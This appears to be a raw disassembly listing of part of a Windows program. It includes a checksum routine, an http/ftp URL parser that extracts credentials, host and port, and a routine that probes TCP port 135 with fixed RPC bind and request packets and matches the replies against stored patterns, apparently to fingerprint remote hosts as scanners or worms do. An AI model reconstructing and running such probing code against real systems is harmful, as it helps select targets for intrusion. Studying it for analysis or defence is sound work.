edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420B6B mov ebp, [esp+524h+var_4FC] loc_420C8F: ; CODE XREF: sub_4208E0+27Fj push ebp call near ptr 2900000h nop lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4208E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420DD0 proc near ; CODE XREF: sub_4015F5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 2871D5Ch push eax nop call near ptr 28711A2h mov eax, esi pop esi retn sub_420DD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E00 proc near ; CODE XREF: sub_401A37j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420E39 loc_420E22: ; CODE XREF: sub_420E00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420E22 cmp ecx, 0 jz short loc_420E4A loc_420E39: ; CODE XREF: sub_420E00+20j ; sub_420E00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420E39 loc_420E4A: ; CODE XREF: sub_420E00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50DB34, eax mov eax, offset dword_50DB34 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EC0: ; CODE XREF: ___:0040177Bj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_511AAC push esi call edi ; ftell mov ebp, dword_511AA4 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420F10 proc near ; CODE XREF: sub_401947j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420F10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420F3F xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420F3F: ; CODE XREF: sub_420F10+26j lea ecx, [esp+90h+var_84] call sub_40142E push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015E1 push offset asc_444C74 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420FCF: ; CODE XREF: sub_420F10+92j ; sub_420F10+A2j push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D34 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_4453F0 ; "/" push 1 jz loc_42130C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_4210C9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_4210C9: ; CODE XREF: sub_420F10+19Cj push offset asc_4453F0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421195 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42117E mov dword ptr [esi+54h], 50h loc_42117E: ; CODE XREF: sub_420F10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421195 mov dword ptr [esi+54h], 15h loc_421195: ; CODE XREF: sub_420F10+255j ; sub_420F10+27Cj push offset asc_4453F0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016B8 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42124E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42124E: ; CODE XREF: sub_420F10+321j push offset asc_4453F0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016B8 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421433 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42130C: ; CODE XREF: sub_420F10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421393 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420F10+466j push offset asc_4453F0 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421433 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42141C mov dword ptr [esi+54h], 50h loc_42141C: ; CODE XREF: sub_420F10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421433 mov dword ptr [esi+54h], 15h loc_421433: ; CODE XREF: sub_420F10+3DBj ; sub_420F10+4F3j ... push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_84] call sub_4013ED lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E47 push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013ED push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_4453F0 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013ED lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_4453F0 ; "/" mov ecx, esi call sub_4015E1 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016C7 lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421519: ; CODE XREF: sub_420F10+2Aj ; sub_420F10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420F10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4216D0 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4216FB loc_4216E4: ; CODE XREF: sub_4216D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421702 inc eax cmp eax, edx jl short loc_4216E4 loc_4216FB: ; CODE XREF: sub_4216D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421702: ; CODE XREF: sub_4216D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4216D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421720: ; CODE XREF: ___:004020B8j mov eax, 2010h call sub_437B30 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42176D dec eax jz short loc_421747 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421747: ; CODE XREF: ___:00421738j mov eax, [esp+2020h] push 1388h push eax call sub_402022 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42176D: ; CODE XREF: ___:00421735j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4218C9 cmp esi, 0FFFFFFFFh jz loc_4218C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2B66h nop mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40188E add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4218C2 mov ebp, dword_511CA0 push 0 push 48h push offset dword_444DB8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 mov edi, dword_511CA4 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4218C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4218C2 push 0 push 18h push offset dword_444E2C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4218C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4218C2 push 10h push offset loc_444E04 lea eax, [esp+24h] push edi push eax call sub_401AFF add esp, 10h test al, al jz short loc_421891 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421891: ; CODE XREF: ___:0042186Ej push 10h push offset dword_444E18 lea edx, [esp+24h] push edi push edx call sub_401AFF add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4218C2: ; CODE XREF: ___:004217DBj ; ___:004217F6j ... push esi call near ptr 71AB9639h nop loc_4218C9: ; CODE XREF: ___:0042177Ej ; ___:00421787j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421950: ; CODE XREF: ___:00401A0Fj xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421970 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421970 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219B0 proc near ; CODE XREF: sub_4018E8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401910 sub_4219B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219F0 proc near ; CODE XREF: sub_401825j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40197E mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014E2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4019A6 mov edx, [esi+4] mov ecx, esi push edx call sub_401956 sub_4219F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A60 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40206D mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401EDD mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421AA0 proc near ; CODE XREF: sub_40197Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401EDD mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421AA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AD0 proc near ; CODE XREF: sub_402185j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40197E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40190B sub_421AD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_40170Dj push esi mov esi, ecx call sub_4019FB mov eax, esi pop esi retn sub_421B10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40206D mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421B50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B80 proc near ; CODE XREF: sub_401811j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40201D neg al sbb eax, eax inc eax retn 4 sub_421B80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BB0 proc near ; CODE XREF: sub_4016EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421BB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013F7 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401465 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021DA sub_421BF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C60 proc near ; CODE XREF: sub_401465j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40110E mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D89 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421C60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421CA0 proc near ; CODE XREF: sub_4013F7j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D89 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421CA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013F7 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BC2 sub_421CD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D10 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421D10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421D30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401839j push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D5C neg al sbb eax, eax inc eax retn 4 sub_421D80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421DB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401EEC mov edi, eax push edi call sub_401B31 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421DB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B31 push edi mov [eax], ebx call sub_401B31 mov edi, [eax] push edi call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E5B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D98 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E50 proc near ; CODE XREF: sub_40190Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401D07 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401910 sub_421E50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401D07 push edi mov [eax], ebx call sub_401D07 mov edi, [eax] push edi call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017F3 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401EDD mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_4019A6j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jz short loc_421F4A loc_421F08: ; CODE XREF: sub_421EF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020D6 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A2D ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jnz short loc_421F08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421F4A: ; CODE XREF: sub_421EF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421EF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421F80 proc near ; CODE XREF: sub_401910j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401E0B sub_421F80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421F95 mov edi, esi loc_421F95: ; CODE XREF: ___:00421F91j push esi call sub_40206D mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421FAA mov edi, esi loc_421FAA: ; CODE XREF: ___:00421FA6j push esi call sub_401D07 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FD0 proc near ; CODE XREF: sub_401956j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401550 sub_421FD0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421FF0 proc near ; CODE XREF: sub_40206Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421FF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422010 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422010 endp ; 